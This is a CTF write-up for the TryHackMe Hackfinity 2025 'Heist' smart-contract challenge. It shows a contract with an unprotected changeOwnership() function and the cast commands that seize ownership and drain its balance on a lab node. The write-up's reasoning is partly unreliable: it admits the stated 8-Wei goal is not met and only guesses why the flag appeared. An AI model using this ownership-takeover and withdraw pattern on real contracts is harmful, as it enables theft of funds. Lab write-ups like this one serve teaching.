THM Hackfinity 2025 Blockchain Challenge Writeup: Heist

Goal

The goal of this blockchain challenge is to make the isSolved() function of the deployed smart contract return true. The condition for this is that the balance of the contract must be exactly 8 Wei.

Contract Analysis

The smart contract code is as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Challenge {
    address private owner;
    address private initOwner;

    constructor() payable {
        owner = msg.sender;
        initOwner = msg.sender;
    }

    function changeOwnership() external {
        owner = msg.sender;
    }

    function withdraw() external {
        require(msg.sender == owner, "Not owner!");
        payable(owner).transfer(address(this).balance);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getOwnerBalance() external view returns (uint256) {
        return address(initOwner).balance;
    }

    function isSolved() external view returns (bool) {
        return (address(this).balance == 8);
    }

    function getAddress() external view returns (address) {
        return msg.sender;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

Key Functions:

  • constructor(): A payable constructor that sets the initial owner and the initOwner to the address of the deployer.
  • changeOwnership(): An external function that allows anyone to become the owner of the contract.
  • withdraw(): An external function, callable only by the owner, that transfers the entire contract balance to the owner.
  • getBalance(): An external view function to retrieve the current balance of the contract.
  • isSolved(): An external view function that returns true if the contract's balance is exactly 8 Wei.

Solution Approach

The challenge was solved by interacting with the challenge instance provided by the platform's API. The contract initially held a large balance, and direct sending of 8 Wei was reverted. The successful approach involved:

  1. Using the API to get the contract address and player's private key for the challenge instance managed by the platform.
  2. Becoming the owner of this contract using the changeOwnership() function.
  3. Withdrawing the entire balance from the contract using the withdraw() function.

The platform likely monitors these actions and flags the challenge as solved upon the completion of this sequence.

Step-by-Step Solution

  1. Set the API and RPC URLs:

    RPC_URL=[http://10.10.126.15:8545](http://10.10.126.15:8545)
    API_URL=[http://10.10.126.15](http://10.10.126.15)
    
  2. Fetch the player's private key and the contract address from the API:

    PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
    CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
    echo "Contract Address from API: $CONTRACT_ADDRESS"
    # (The contract address obtained from the API was 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127)
    
  3. Change the ownership of the contract to the player's address:

    cast send $CONTRACT_ADDRESS "changeOwnership()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY --legacy
    # This command sends a transaction to the contract, calling the changeOwnership() function.
    # The --legacy flag is used for compatibility with the RPC URL.
    
  4. Withdraw the entire balance of the contract:

    cast send $CONTRACT_ADDRESS "withdraw()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY --legacy
    # This command sends another transaction to the contract, calling the withdraw() function.
    # This transfers all the Ether from the contract to the player's wallet.
    
  5. Check if the challenge is solved (via API): While the isSolved() function on the contract might return false after the balance is 0, the platform likely uses the successful execution of these steps to mark the challenge as solved. The flag was then obtained from the platform's interface.

Flag

The flag for this challenge, as shown in the "Challenge Solved!" pop-up in the image, is:

THM{web3_h31st_d0ne}

Conclusion

The challenge was solved by leveraging the ownership control of the smart contract and the ability to withdraw its funds. Interacting with the API's provided challenge instance and performing the actions of taking ownership and withdrawing the balance led to the platform recognizing the solution and revealing the flag.